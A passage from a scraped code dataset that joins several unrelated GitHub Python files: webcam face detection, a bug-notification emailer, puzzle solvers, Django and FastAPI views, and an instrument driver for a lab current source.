cap.read()\n imgGray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # Getting corners around the face\n faces = faceCascade.detectMultiScale(imgGray, 1.3, 5) # 1.3 = scale factor, 5 = minimum neighbor\n # drawing bounding box around face\n for (x, y, w, h) in faces:\n img = cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 3)\n\n '''\n # detecting eyes\n eyes = eyeCascade.detectMultiScale(imgGray)\n # drawing bounding box for eyes\n for (ex, ey, ew, eh) in eyes:\n img = cv2.rectangle(img, (ex, ey), (ex+ew, ey+eh), (255, 0, 0), 3)\n '''\n\n cv2.imshow('face_detect', img)\n if cv2.waitKey(10) & 0xFF == ord('q'):\n break\ncap.release()\ncv2.destroyWindow('face_detect')\n\n\ndef draw_found_faces(detected, image, color: tuple):\n for (x, y, width, height) in detected:\n cv2.rectangle(\n image,\n (x, y),\n (x + width, y + height),\n color,\n thickness=2\n )\n\n# Capturing the Video Stream\nvideo_capture = cv2.VideoCapture(0)\n\n# Creating the cascade objects\nface_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + \"haarcascade_frontalface_default.xml\")\neye_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + \"haarcascade_eye_tree_eyeglasses.xml\")\n\nwhile True:\n # Get individual frame\n _, frame = video_capture.read()\n # Covert the frame to grayscale\n grayscale_image = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n \n\t# Detect all the faces in that frame\n detected_faces = face_cascade.detectMultiScale(image=grayscale_image, scaleFactor=1.3, minNeighbors=4)\n detected_eyes = eye_cascade.detectMultiScale(image=grayscale_image, scaleFactor=1.3, minNeighbors=4)\n\n draw_found_faces(detected_faces, frame, (0, 0, 255))\n draw_found_faces(detected_eyes, frame, (0, 255, 0))\n\n # Display the updated frame as a video stream\n cv2.imshow('Webcam Face Detection', frame)\n\n # Press the ESC key to exit the loop\n # 27 is the code for the ESC key\n if cv2.waitKey(1) == 27:\n break\n\n# Releasing the webcam resource\nvideo_capture.release()\n\n# Destroy the window that was showing the video stream\ncv2.destroyAllWindows()\n","repo_name":"NickKumik-1/GMM","sub_path":"Edgedetection.py","file_name":"Edgedetection.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23038490730","text":"import smtplib\nimport string, sys\n\nimport db\n\nHOST = \"localhost\"\n\nFROM = \"bugdb@iesedev.org\"\n\n\ndef emailUser(subject, body_text, toList):\n \n for to in toList:\n body = string.join((\"From: %s\" % FROM, \"To: %s\" % to, \"Subject: %s\" % subject,\"\",body_text), \"\\r\\n\")\n \n server = smtplib.SMTP(HOST)\n server.sendmail(FROM, [to], body)\n server.quit()\n\n\n\n\ndef bugAssignNotify(bugh, to):\n\n subject = '[Sev '+str(bugh['priority'])+'] '+'Bug '+str(bugh['bug_id'])+' has been assigned to you'\n\n body_text = \"\"\"Bug Title: \"\"\"+bugh['title'] \\\n +\"\"\"\\nCustomer: \"\"\"+bugh['customer'] \\\n +\"\"\"\\nPriority: \"\"\"+bugh['priority'] \\\n +\"\"\"\\nDescription: \"\"\"+bugh['description'] \\\n +\"\"\"\\n \"\"\"\n\n emailUser(subject, body_text, [to])\n \n \n","repo_name":"avallark/Bijur-BugDB-","sub_path":"emails.py","file_name":"emails.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"36678808379","text":"import collections\nimport itertools\n\nimport aoc\n\n\nEXAMPLE1 = '''\n0,9 -> 5,9\n8,0 -> 0,8\n9,4 -> 3,4\n2,2 -> 2,1\n7,0 -> 7,4\n6,4 -> 2,0\n0,9 -> 2,9\n3,4 -> 1,4\n0,0 -> 8,8\n5,5 -> 8,2\n'''\n\n\ndef solve(input):\n return count_intersections(input, False), count_intersections(input, True)\n\n\ndef count_intersections(input, diagonal):\n '''\n >>> count_intersections(EXAMPLE1, False)\n 5\n >>> count_intersections(EXAMPLE1, True)\n 12\n '''\n counts = collections.defaultdict(int)\n for line in input.strip().splitlines():\n a, b = (\n tuple(map(int, endpoints.split(',')))\n for endpoints in line.split(' -> ')\n )\n d = (sign(b[0] - a[0]), sign(b[1] - a[1]))\n if not diagonal and d[0] != 0 and d[1] != 0:\n continue\n p = a\n while p != b:\n counts[p] += 1\n p = (p[0] + d[0], p[1] + d[1])\n counts[p] += 1\n return len([c for c in counts.values() if c > 1])\n\n\ndef sign(x):\n if x > 0:\n return 1\n elif x < 0:\n return -1\n else:\n return 0\n","repo_name":"ttencate/aoc2021","sub_path":"05.py","file_name":"05.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"27629317362","text":"import asyncio\nfrom datetime import datetime\nfrom PySide6.QtWidgets import QWidget, QCompleter\nfrom loguru import logger\nfrom storage.habit.http import HabitRequestModel\nfrom utility.ttask import TTask\nfrom utility import ahttp\nfrom .httppanel_ui import Ui_HttpPanel\n\nclass HttpPanel(QWidget):\n '''\n HTTP 面板\n '''\n\n def __init__(self, parent=None):\n super().__init__(parent)\n self.ui = Ui_HttpPanel()\n self.ui.setupUi(self)\n self.ui.requestButton.clicked.connect(self.onClickRequestButton)\n\n # hrm = HabitRequestModel.select().limit(100)\n # hrs = hrm.dicts()\n # hosts = set()\n # paths = set()\n # for hr in hrs:\n # hosts.add(hr['url_host'])\n # paths.add(hr['url_path'])\n # logger.info(f'hr: {hr}')\n # self.ui.urlEdit.tipHosts(hosts)\n # self.ui.urlEdit.tipPaths(paths)\n\n def onClickAddressClearButton(self):\n '''\n \n '''\n\n self.ui.addressPathEdit.clear()\n\n def onClickRequestButton(self):\n '''\n \n '''\n\n m = HabitRequestModel()\n d = self.ui.requestForm.urlInfo\n m.url_protocol = d['protocol']\n m.url_host = d['host']\n m.url_port = d['port']\n m.url_path = d['path']\n m.http_method = d['method']\n m.http_headers = d['headers']\n TTask.start(self.request, m)\n\n def request(self, m: HabitRequestModel):\n '''\n \n '''\n\n m.create_at = datetime.now()\n m.save()\n port = '' if m.url_port is None else f':{m.url_port}'\n url = f'{m.url_protocol}://{m.url_host}{port}/{m.url_path}'\n logger.info('{}', url)\n if m.http_method == 'GET':\n r = asyncio.run(ahttp.get(url))\n logger.info('{}', r)\n\n ","repo_name":"chaosannals/postiny","sub_path":"postiny/http/httppanel.py","file_name":"httppanel.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20354917212","text":"import os\n\nfolder = os.path.join(os.getcwd(), \"taskThree\")\n\nfiles = [f for f in os.listdir(folder) if os.path.isfile(os.path.join(folder, f))]\n\n\ndef count_lines(file_path):\n with open(file_path, encoding=\"utf-8\") as file:\n return sum(1 for line in file)\n\n\nsorted_files = sorted(files, key=lambda x: count_lines(os.path.join(folder, x)))\n\nresult_file = os.path.join(folder, \"result.txt\")\n\nwith open(result_file, \"w\", encoding=\"utf-8\") as result:\n for file_name in sorted_files:\n file_path = os.path.join(folder, file_name)\n lines_count = count_lines(file_path)\n if lines_count > 0:\n result.write(f\"{file_name}\\n{lines_count}\\n\")\n with open(file_path, encoding=\"utf-8\") as file:\n result.write(file.read())\n result.write(\"\\n\")\n\nprint(\"Обновление файлов завершено.\")\n\nwith open(result_file, \"r\", encoding=\"utf-8\") as xs:\n xs.read()\n","repo_name":"AleksandrMuzhev/PythonFiles-8","sub_path":"task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"45756019702","text":"# Delete duplicates from a sorted array of integers\n\nfrom typing import List\n\n# O(n^2) in time and O(n) in space\ndef brute_force_3(A: List[int]) -> List[int]:\n\tnew_A = []\n\tfor i in A:\n\t\tif i not in new_A:\n\t\t\tnew_A.append(A)\n\treturn new_A\n\n# O(n) in time and O(n) in space\ndef brute_force_2(A: List[int]) -> List[int]:\n\tnew_A = {}\n\tfor a in A:\n\t\tnew_A[a] = new_A.get(a, 0) + 1\n\tresult = [a for a in new_A]\n\treturn result\n\n# O(n^2) in time and O(1) in space\ndef brute_force_3(A: List[int]) -> List[int]:\n\tn = len(A)\n\ti = 1\n\twhile i < n:\n\t\twhile A[i] == A[i - 1]:\n\t\t\tfor j in range(i, n - 1):\n\t\t\t\tA[j] = A[j + 1]\n\t\t\tn -= 1\n\t\ti += 1\n\treturn A[:n]\n\n# O(n) in time and O(1) in space\n\"\"\"\n\tInstead of thinking \"do when it's equal\", \"do when it's not equal\"\n\"\"\"\ndef move_one_element(A: List[int], debug = False) -> List[int]:\n\twrite_index = 1\n\tlen_A = len(A)\n\tfor i in range(1, len_A):\n\t\tif debug:\n\t\t\tprint('A = {}'.format(A))\n\t\t\tprint('i = {}, write_index = {}'.format(i, write_index))\n\t\tif A[write_index - 1] != A[i]:\n\t\t\tA[write_index] = A[i]\n\t\t\twrite_index += 1\n\t\tif debug:\n\t\t\tprint('A = {}'.format(A))\n\t\t\tprint(20*'-')\n\n\treturn A[: write_index]\n\n\"\"\"\nImplement a function which takes as input an array and a key, and updates the array so\nthat all occurrences of the input key have been removed and the remaining elements have been\nshifted left to fill the emptied indices. Return the number of remaining elements. There are no\nrequirements as to the values stored beyond the last valid element.\n\"\"\"\ndef brute_force_1(A: List[int], key: int) -> List[int]:\n\tnew_A = []\n\tfor a in A:\n\t\tif a != key:\n\t\t\tnew_A.append(a)\n\treturn new_A\n\ndef remove_key(A: List[int], key: int) -> List[int]:\n\tlen_A = len(A)\n\twrite_index = 0\n\tfor i in range(0, len_A):\n\t\tif A[i] != key:\n\t\t\tA[write_index] = A[i]\n\t\t\twrite_index += 1\n\treturn A[: write_index]\n\n\"\"\"\n\tThis framework might be usefull if you encounter task requiring removing element\n\"\"\"\n\n\"\"\"\nWrite a program which takes as input a sorted atay A of integers and a positive integer m,\nand updates A so that if x appears m times in A it appears exactly min(2, m) times in A. The update\nto A should be performed in one pass, and no additional storage may be allocated.\n\"\"\"\ndef normalize_occurances(A: List[int], m: int) -> List[int]:\n\tif m <= 0:\n\t\tprint('m must be positive')\n\t\treturn A\n\tcount = 0\n","repo_name":"Chien10/coding-exercises","sub_path":"1.arrays/delete_duplicates.py","file_name":"delete_duplicates.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19102402035","text":"from rest_framework import generics\nfrom django.db.models import F\n\nfrom ...models import FN024\nfrom ..serializers import FN024Serializer, FN024ListSerializer\nfrom ..permissions import IsPrjLeadOrAdminOrReadOnly, ReadOnly\nfrom ..filters import FN024Filter\n\nfrom ..pagination import StandardResultsSetPagination\n\n\nclass PeriodList(generics.ListAPIView):\n \"\"\"an api end point to list all of the periods (FN024) with daytypes\n (FN023) within seasons (FN022) of a creel.\n \"\"\"\n\n serializer_class = FN024Serializer\n\n def get_queryset(self):\n \"\"\" \"\"\"\n\n prj_cd = self.kwargs.get(\"prj_cd\")\n ssn = self.kwargs.get(\"ssn\")\n dtp = self.kwargs.get(\"dtp\")\n\n return (\n FN024.objects.filter(daytype__season__creel__slug=prj_cd.lower())\n .filter(daytype__season__ssn=ssn)\n .filter(daytype__dtp=dtp)\n )\n\n\nclass PeriodDetail(generics.RetrieveUpdateDestroyAPIView):\n \"\"\"An api endpoint for get, put and delete endpoints for period objects\n objects associated with a daytpye, within a season within a specfic creel\"\"\"\n\n lookup_field = \"prd\"\n serializer_class = FN024Serializer\n permission_classes = [IsPrjLeadOrAdminOrReadOnly]\n\n def get_queryset(self):\n \"\"\"return only those season objects associate with this daytype,\n season and creel.\n\n \"\"\"\n prj_cd = self.kwargs.get(\"prj_cd\")\n ssn = self.kwargs.get(\"ssn\")\n dtp = self.kwargs.get(\"dtp\")\n\n return (\n FN024.objects.filter(daytype__season__creel__slug=prj_cd.lower())\n .filter(daytype__season__ssn=ssn)\n .filter(daytype__dtp=dtp)\n )\n\n\nclass FN024ListView(generics.ListAPIView):\n \"\"\"A readonly enpoint to return FN024 - day types data in format\n that closely matches FN-portal and FN-2 schema..\"\"\"\n\n serializer_class = FN024ListSerializer\n filterset_class = FN024Filter\n pagination_class = StandardResultsSetPagination\n permission_classes = [ReadOnly]\n\n def get_queryset(self):\n \"\"\"\"\"\"\n return (\n FN024.objects.all()\n .select_related(\"daytype\", \"daytype__season\", \"daytype__season__creel\")\n .annotate(\n prj_cd=F(\"daytype__season__creel__prj_cd\"),\n ssn=F(\"daytype__season__ssn\"),\n dtp=F(\"daytype__dtp\"),\n )\n .values(\n \"prj_cd\",\n \"ssn\",\n \"dtp\",\n \"prd\",\n \"prdtm0\",\n \"prdtm1\",\n \"prd_dur\",\n \"slug\",\n \"id\",\n )\n )\n","repo_name":"AdamCottrill/CreelPortal","sub_path":"creel_portal/api/views/FN024_views.py","file_name":"FN024_views.py","file_ext":"py","file_size_in_byte":2620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10360308219","text":"from typing import Annotated\nfrom fastapi import FastAPI, Depends\nfrom sqlalchemy.orm import Session\nfrom starlette import status\nfrom database import engine, SessionLocal\nfrom sqlalchemy import text\n\napp = FastAPI()\n\nasync def get_db():\n db = SessionLocal()\n try:\n yield db\n finally:\n db.close()\n\ndb_dependency = Annotated[Session, Depends(get_db)]\n\n@app.get(\"/\", status_code=status.HTTP_200_OK)\nasync def print_chars(db: db_dependency):\n\n with engine.connect() as con:\n rs = con.execute(text('select volume, date from msft '\n 'ORDER BY volume DESC LIMIT 1; '))\n rs_dict = rs.mappings().all()\n\n return rs_dict","repo_name":"mkirkpatric2/Stock-ETL","sub_path":"v1/stockdataapi/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41197177095","text":"\"\"\"\nfunctions related to current and voltage sources\ncurrently integrate only SRS CS580\n\"\"\"\n\nimport configparser\nimport re\nfrom functools import partial\nimport pyvisa\nimport logging\nfrom traceback import format_exc\nfrom typing import Optional, Any, Union, List, Dict\nfrom numpy import array\n\nfrom qcodes import IPInstrument, VisaInstrument, Parameter\nfrom qcodes.instrument.parameter import _BaseParameter\nfrom qcodes.utils.validators import Enum, Ints, Numbers\nfrom qcodes.utils.helpers import create_on_off_val_mapping\nfrom qcodes_contrib_drivers.drivers.Oxford.IPS120 import OxfordInstruments_IPS120\n\nfrom time import sleep\n\nclass CS580(VisaInstrument):\n \"\"\"\n Stanford CS580 Current source driver\n \"\"\"\n\n _gains = {\n 1e-9: 0, 10e-9: 1, 100e-9: 2,\n 1e-6: 3, 10e-6: 4, 100e-6: 5,\n 1e-3: 6, 10e-3: 7, 50e-3: 8}\n _n_to_gains = {g: k for k, g in _gains.items()}\n\n def __init__(\n self,\n name: str,\n address: Optional[str] = None,\n terminator: str = '\\r\\n',\n **kwargs: Any):\n super().__init__(name, address=address, terminator=terminator, **kwargs)\n\n \n self.add_parameter(\n name='gain',\n label='Gain',\n unit='A/V',\n get_cmd='GAIN?',\n set_cmd='GAIN {:d}',\n get_parser=self._get_gain,\n set_parser=self._set_gain,\n )\n\n self.add_parameter(\n name='input',\n label='Analog input',\n get_cmd='INPT?',\n set_cmd='INPT{:d}',\n vals=Ints(0,1),\n )\n\n self.add_parameter(\n name='speed',\n label='Speed',\n get_cmd='RESP?',\n set_cmd='RESP{:d}',\n val_mapping={\n 'fast': 0,\n 'slow': 1},\n vals=Ints(0,1)\n )\n\n self.add_parameter(\n name='shield',\n label='Inner shield',\n get_cmd='SHLD?',\n set_cmd='SHLD{:d}',\n val_mapping={\n 'guard': 0,\n 'return': 1},\n vals=Ints(0,1)\n )\n\n self.add_parameter(\n name='isolation',\n label='Isolation',\n get_cmd='ISOL?',\n set_cmd='ISOL{:d}',\n val_mapping={\n 'ground': 0,\n 'float': 1},\n vals=Ints(0, 1)\n )\n\n self.add_parameter(\n name='output',\n label='Output',\n get_cmd='SOUT?',\n set_cmd='SOUT{:d}',\n val_mapping={\n 'off': 0,\n 'on': 1},\n vals=Ints(0,1),\n )\n\n self.add_parameter(\n name='current',\n label='DC current',\n unit='A',\n get_cmd='CURR?',\n set_cmd='CURR{:e}',\n vals=Numbers(min_value=-100e-3,max_value=100e-3),\n )\n\n self.add_parameter(\n name='voltage',\n label='Compliance voltage',\n unit='V',\n get_cmd='VOLT?',\n set_cmd='VOLT{:f}',\n vals=Numbers(min_value=0.0, max_value=50.0),\n )\n\n self.add_parameter(\n name='alarm',\n label='Audible alarms',\n get_cmd='ALRM?',\n set_cmd='ALRM{:d}',\n val_mapping={\n 'off': 0,\n 'on': 1},\n vals=Ints(0,1),\n )\n\n self.connect_message()\n\n\n\n def get_idn(self) -> Dict[str, Optional[str]]:\n \"\"\" Return the Instrument Identifier Message \"\"\"\n idstr = self.ask('*IDN?')\n idparts = [p.strip() for p in idstr.split(',', 4)][1:]\n\n return dict(zip(('vendor', 'model, serial', 'firmware'), idparts))\n\n def _reset(self):\n \"\"\"Reset the CS580 to its default configuration\"\"\"\n self.write('*RST')\n\n def get_overload(self) -> str:\n \"\"\" Reads the current avlue of the signal overload status.\"\"\"\n id = self.ask('OVLD?')\n if isstr(id):\n return id\n elif id == 1:\n return \"Compliance limit reached\"\n elif id == 2:\n return \"Analog input overload\"\n elif id == 3:\n return \"Compliance limit reached and Analog input overload\"\n else:\n return \"NONE\"\n\n def _get_gain(self, s: int) -> float:\n return self._n_to_gains[int(s)]\n\n def _set_gain(self, s: float) -> int:\n return self._gains[s]","repo_name":"condmatphys/mesoscoPy","sub_path":"mesoscopy/instrument/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":4454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14699251317","text":"from django.shortcuts import render,redirect\nimport json\nfrom django.http import HttpRequest,HttpResponse,HttpResponseRedirect,JsonResponse\nfrom django.core.cache import cache\nimport redis\nfrom .models import *\nfrom user.login_check import login_check\nfrom django.core.paginator import Paginator\nfrom haystack.forms import SearchForm\nfrom django.views.decorators.cache import cache_page\n\nclient = redis.Redis(host='localhost', port=6379, db=0)#创建redis\n# Create your views here.\ndef index(request):#主页\n return render(request,'index.html')\n\n@login_check\ndef add_music(request):\n musicid=request.GET.get('music_id')\n userid=request.session.get('userid')\n if PlayList.objects.filter(user_id=userid,music_id=musicid).count()!=0:\n PlayList.objects.filter(user_id=userid, music_id=musicid).delete()\n playlist=PlayList()\n playlist.user_id=userid\n playlist.music_id=musicid\n playlist.save()\n return JsonResponse({'data':1})\n\n\n\n# def add_music(request):\n# '''添加音乐到播放列表'''\n# musicid=request.GET.get('music_id')\n# userid=request.session.get('userid')\n# music=Music.objects.get(id=musicid,isDelete=False)\n# dict={'id':music.id,'name':music.name,'src':str(music.src)}#创建存储到redis中的字典\n# str1=json.dumps(dict)#将字典对象变为字符串\n# client.zincrby(userid,str1)#存储在有序集合中\n# return JsonResponse({'data':1})\n\n@login_check\ndef playlist(request):\n userid=request.session.get('userid')\n playlist=PlayList.objects.filter(user_id=userid).order_by('-id')\n context=({'data':playlist})\n return render(request,'music/playlist.html',context)\n\n# def playlist(request):\n# '''播放列表页面'''\n# userid = request.session.get('userid')\n# list=client.zscan_iter(userid)#查询有序集合,键为userid\n# musiclist=[]\n# for item in list:#将查询到的集合,迭代添加进列表中\n# str=json.loads(item[0].decode())#将取出来的字符串变为字典对象\n# musiclist.append(str)\n# context = {'data': musiclist}\n# return render(request,'music/playlist.html',context)\n\n\ndef detail_info(request,musicid):\n userid=request.session.get('userid')\n music = Music.objects.get(id=musicid,isDelete=False)\n album = Album.objects.get(id=music.album_id,isDelete=False)\n collection=Collection.objects.filter(user_id=userid,isDelete=False)\n return render(request, 'music/detail_info.html', {'music': music, 'album': album,'collection':collection})\n\ndef detail_comment(request,musicid,pindex):\n music = Music.objects.get(id=musicid,isDelete=False)\n album = Album.objects.get(id=music.album_id,isDelete=False)\n com = Comment.objects.filter(music=music, pcom__isnull=True, isDelete=False).order_by('-id') # 查询所有该乐曲的父评论,并按照id的倒序进行排序\n ccom = []\n for item in com:\n child = Comment.objects.filter(music=music, pcom=item, isDelete=False).order_by('-id') # 查询子评论,也按照id的倒序进行排序\n ccom.append({'com': item, 'ccom': child}) # [{'com':父评论1,'ccom':子评论列表1},{'com':父评论2,'ccom':子评论列表2},...]\n p = Paginator(ccom, 5)\n page = p.page(pindex)\n return render(request, 'music/detail_comment.html', {'music': music, 'album': album, 'com': page, 'paginator': p})\n\ndef detail_album(request,musicid):\n music = Music.objects.get(id=musicid,isDelete=False)\n album=Album.objects.get(id=music.album_id,isDelete=False)\n musiclist = Music.objects.filter(album=album,isDelete=False) # 查找专辑的所有音乐\n return render(request, 'music/detail_album.html', {'music': music, 'album': album, 'musiclist': musiclist})\n\n\n@login_check\ndef reply_handle(request):\n '''回复评论'''\n content = request.GET.get('content')\n if len(content)<=5 or len(content)>=140:#限制长度\n context={'data':2}\n else:\n com_id=request.GET.get('com_id')#父评论的id,如果没有则为空\n music_id=request.GET.get('music_id')\n userid=request.session.get('userid')\n com=Comment()\n com.music_id=music_id\n com.owner_id=userid\n com.pcom_id=com_id\n com.content=content\n com.save()#存储评论信息\n if com.pcom_id !=None:\n client.zincrby(str(com.pcom.owner_id)+'com',com.id)#如果评论的父id不为空,则提示父id的用户收到评论信息\n context={'data':1}\n return JsonResponse(context)\n\n@login_check\ndef del_com(request):\n \"\"\"删除评论\"\"\"\n com_id=request.GET.get('com_id')\n userid = request.session.get('userid')\n com=Comment.objects.get(id=com_id)\n music_id=request.GET.get('music_id')\n if userid==com.owner_id:\n com.isDelete=True#进行逻辑删除\n com.save()\n return redirect('/detail' + music_id + '_2')\n else:\n return redirect('/detail'+music_id+'_2')\n\n@login_check\ndef coll_handle(request):\n '''收藏音乐'''\n music_id=request.GET.get('musicid')\n collectionid=request.GET.get('collection')#收藏夹的id\n if CollDetail.objects.filter(coll_id=collectionid,music_id=music_id).count()==0:\n coll=CollDetail()\n coll.music_id=music_id#收藏的音乐id\n coll.coll_id=collectionid#收藏夹的id\n coll.save()\n return JsonResponse({'data':1})\n else:\n return JsonResponse({'data':2})\n\n\ndef playmusic(request):\n '''播放音乐'''\n musicid=request.GET.get('musicid')\n music=Music.objects.get(id=musicid,isDelete=False)\n userid = request.session.get('userid')\n music.click+=1#使点击数+1\n music.save()\n if History.objects.filter(music=music,user_id=userid).count()>0:\n History.objects.filter(music=music, user_id=userid).delete()\n history = History()\n history.music = music\n history.user_id = userid # 添加播放记录\n history.save()\n return JsonResponse({'src':str(music.src)})\n\ndef album(request):\n '''专辑页面'''\n albumid=request.GET.get('albumid')\n album=Album.objects.get(id=albumid,isDelete=False)#查询专辑\n musiclist=Music.objects.filter(album=album,isDelete=False)#查询专辑包含的乐曲\n context={'album':album,'musiclist':musiclist}\n return render(request,'music/album.html',context)\n\ndef test(request):\n return render(request,'music/test.html')\n\ndef player(request):\n '''添加到播放列表'''\n userid = request.session.get('userid')\n musiclist=PlayList.objects.filter(user_id=userid, isDelete=False).order_by('-id')#查询播放列表,按照最新的排序\n context = {'data': musiclist}\n return render(request,'player.html',context)\n\ndef playlist_delete(request):\n '''删除播放列表的音乐'''\n musicid=request.GET.get('musicid')\n userid=request.session.get('userid')\n PlayList.objects.filter(user_id=userid,music_id=musicid).delete()#删除\n return JsonResponse({'data':1})\n\n# def full_search(request):\n# keywords=request.GET.get('content')\n# print(keywords)\n# sform = SearchForm(request.GET)\n# posts = sform.search()\n# print(posts)\n#\n# return render(request,'music/test.html',{'posts': posts})\n\n@cache_page(60 * 10)#设置缓存\ndef found(request):\n '''发现页面'''\n type = Type.objects.filter(pid__isnull=True)#查询pid为空的类型\n data=[]\n for item in type:\n typed = Type.objects.filter(pid=item)#查找所有子类型\n album = Album.objects.filter(typed__in=typed, isDelete=False).order_by('-id')#按照最新排序查找专辑\n musiclist=Music.objects.filter(album__in=album, isDelete=False).order_by('-click')[0:5]#查找点击量最高的音乐\n data.append({'type':item,'musiclist':musiclist,'album':album,'typed':typed})#将所有查���列表放入data列表中\n return render(request,'music/found.html',{'data':data})\n\n@cache_page(60 * 10)\ndef type(request,typeid,pindex):\n '''按类型查看页面'''\n type=Type.objects.get(id=typeid)\n if type.pid is None:#如果类型的pid为空,则说明该类型是父类型\n typed = Type.objects.filter(pid=type)#查询父类型包含的所有子类型\n album1 = Album.objects.filter(typed__in=typed, isDelete=False)#查找专辑类型属于子类型的专辑\n else:#如果为子类型\n album1=type.album_set.all()#反向查找,根据类型查找对应类型的专辑\n album = []\n for item in album1:\n music = Music.objects.filter(album=item, isDelete=False)\n album.append({'album': item, 'music': music})#查询的所有结果放入album列表中\n p = Paginator(album, 3)\n page = p.page(pindex)\n context = {'type': type, 'album': page, 'paginator': p}\n return render(request,'music/type.html',context)\n\n\n","repo_name":"kuliye/ssmusic-django","sub_path":"music/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8752,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32714706025","text":"import sys\nfrom typing import Tuple\n\nfrom helpers import logger\nfrom helpers.twitter.twitter_utils import check_if_retweet\nfrom helpers.utils import check_if_amp, check_if_cached\nfrom models.resultcode import ResultCode\n\nlog = logger.get_log(sys)\n\n\n# Check if the tweet meets the specified criteria\ndef check_tweet_criteria(item, cached_urls=None, tweet=None, data=None, history_err=None, history_ok=None,\n return_if_false=True, mustBeAMP=False, mustNotBeRetweet=False, mustBeCached=False,\n mustBeNew=False, mustNotHaveFailed=False, mustNotBeMine=False, mustNotBeOptedOut=False)\\\n -> Tuple[bool, ResultCode]:\n # Must contain AMP\n if mustBeAMP:\n if not check_if_amp(\", \".join(cached_urls)):\n result_code = ResultCode.ERROR_NO_AMP\n if return_if_false:\n return False, result_code\n\n # Must not be retweeted\n if mustNotBeRetweet:\n if check_if_retweet(tweet, item.body):\n result_code = ResultCode.TWITTER_ERROR_IS_RETWEET\n if return_if_false:\n return False, result_code\n\n # Must not be cached\n if mustBeCached:\n if check_if_cached(item.body):\n result_code = ResultCode.TWITTER_ERROR_IS_NOT_CACHED\n if return_if_false:\n return False, result_code\n\n # Must be new\n if mustBeNew:\n if item.id in history_ok:\n result_code = ResultCode.ERROR_OTHER\n if return_if_false:\n return False, result_code\n\n # Must not have failed before\n if mustNotHaveFailed:\n if item.id in history_err:\n result_code = ResultCode.ERROR_OTHER\n if return_if_false:\n return False, result_code\n\n # Must not be posted by AmputatorBot\n if mustNotBeMine:\n if item.author == \"AmputatorBot\":\n result_code = ResultCode.ERROR_OTHER\n if return_if_false:\n return False, result_code\n\n # Must not be posted by a user who opted out\n if mustNotBeOptedOut:\n if item.author.casefold() in list(user.casefold() for user in data.disallowed_twitterers):\n result_code = ResultCode.ERROR_USER_OPTED_OUT\n return False, result_code\n\n return True, ResultCode.MEETS_CRITERIA\n","repo_name":"KilledMufasa/AmputatorBot","sub_path":"helpers/twitter/twitter_criteria_checker.py","file_name":"twitter_criteria_checker.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","stars":154,"dataset":"github-code","pt":"75"} +{"seq_id":"8973075291","text":"\"\"\"\r\n3\r\nCHENNAI\r\nMUMBAI\r\nDELHI\r\n2\r\nCHENNAI MUMBAI\r\nDELHI CHENNAI\r\n\r\n\"\"\"\r\n\r\n#program\r\ncityNames=[]\r\nrouteNames=[]\r\nrevRoutes=[]\r\n#n no.of cities\r\nnCity=int(input())\r\n#n city names\r\nfor i in range(0,nCity):\r\n eleCityNames=str(input())\r\n cityNames.append(eleCityNames)\r\n#n no.of routes\r\nnRoutes=int(input())\r\n#2 column\r\nC=2\r\n#n routes names\r\nfor i in range(nRoutes):\r\n a =[]\r\n a=list(map(str,input().strip().split(\" \")))[:nRoutes]\r\n #a.append(str(input()))\r\n routeNames.append(a)\r\n\r\nrouteNamesCopy=routeNames\r\n\r\nfor i in range(len(routeNamesCopy)):\r\n routeNamesCopy.append(routeNames[i].reverse())\r\n\r\nprint(\"routeNames:::::\")\r\nfor r in routeNames:\r\n print(r)\r\n \r\nprint(\"routeNamesRev:::::\")\r\nfor r in routeNamesCopy:\r\n print(r)\r\n\r\n \r\n","repo_name":"Prasanth4u/Code-kata-BEGINNER","sub_path":"amazon/amazon3.py","file_name":"amazon3.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74592360563","text":"\nimport sys\nimport numpy as np\nimport pdb\nimport matplotlib.pyplot as plt\nfrom LLsPlotter import LLsPlotter\n\ndef main(argv):\n nLevels=60\n llsFilename = \\\n \"results/llsOnePopulationT00.00Tf0.25Dt0.000010Leakage4.00-41.00-4.00NInputsPerNeuron0-19-2FracExcitatoryNeurons0.00-0.45-0.10.npz\"\n ysFilename = \\\n \"results/ysForTwoPopulationsT00.00Tf0.25Dt0.000010Leakage20.00G10.00f0.20Sigma2.00.npz\"\n llsFigFilenamePattern = \\\n \"figures/llsOnePopulationT00.00Tf0.25Dt0.000010Leakage4.00-41.00-4.00NInputsPerNeuron0-19-2FracExcitatoryNeurons0.00-0.45-0.10-X%s-Y%s.eps\"\n\n loadRes = np.load(llsFilename)\n params = loadRes[\"params\"]\n lls = loadRes[\"lls\"]\n\n loadRes = np.load(ysFilename)\n trueParams = loadRes[\"params\"][0]\n\n llsPlotter = LLsPlotter()\n\n 